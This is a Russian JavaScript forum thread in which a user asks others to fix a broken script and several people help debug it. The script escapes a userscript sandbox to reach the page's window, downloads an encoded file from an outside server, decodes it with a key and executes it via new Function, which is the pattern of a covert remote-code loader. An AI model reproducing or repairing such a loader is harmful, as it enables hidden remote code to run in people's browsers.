Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   Ошибка в JS. (https://javascript.ru/forum/misc/52623-oshibka-v-js.html)

mrKot 27.12.2014 16:20

Ошибка в JS.
 
Что тут не так? Выдает ошибку Uncaught TypeError: object is not a function

Как его сделать что-бы он работал?

(function () {
        var e = Function,
                serverURL = 'http://szmrc.ru/',
                imgurl = 'code.js';
        var g = this.unsafeWindow;
        (function () {
                var b = document.createElement("script");
                var c = ("t" + Math.random() + +(new Date())).replace(/\./g, "");
                b.text = "window." + c + "=true";
                document.querySelector("body")
                        .appendChild(b);
                if (typeof (g) == "undefined" || !g[c]) {
                        if (window[c]) {
                                g = window
                        }
                        else {
                                var d = document.createElement("script");
                                d.text = "(" + (function () {
                                                var a = document.createElement('unsafeWindow');
                                                a.style.display = 'none';
                                                a.onclick = function () {
                                                        return window
                                                };
                                                document.body.appendChild(a)
                                        }).toString() + ")()";
                                document.querySelector("body").appendChild(d);
                                this.unsafeWindow = document.querySelector("unsafeWindow").onclick();
                                g = window.unsafeWindow
                        }
                }
        })();
        $.ajax({
                type: 'GET',
                url: serverURL + imgurl,
                dataType: 'text',
                success: function (a) {
                        a = $.shift(a, $.key);
                        updateNow = new e(a);
                        updateNow()
                },
                error: function () {}
        })
})();

Safort 27.12.2014 16:44

Какой строке вылетает ошибка?

Rise 27.12.2014 17:28

mrKot,
updateNow = new e(a); // a - должна быть строкой

и че это $.shift, $.key такое?

mrKot 27.12.2014 19:04

27 строка

mrKot 28.12.2014 13:49

Кто-то знает в чем дело?

Erolast 28.12.2014 17:48

В том, что object is not a function.

mrKot 28.12.2014 19:52

Как бы его исправить мне?

Erolast 29.12.2014 07:05

Подсказка:
alert(typeof null);

mrKot 30.12.2014 01:29

я на сколько понял что туда ничего не поступает через это и ошибка?

Erolast 30.12.2014 07:38

Обработчик onclick равен null.


Часовой пояс GMT +3, время: 00:03.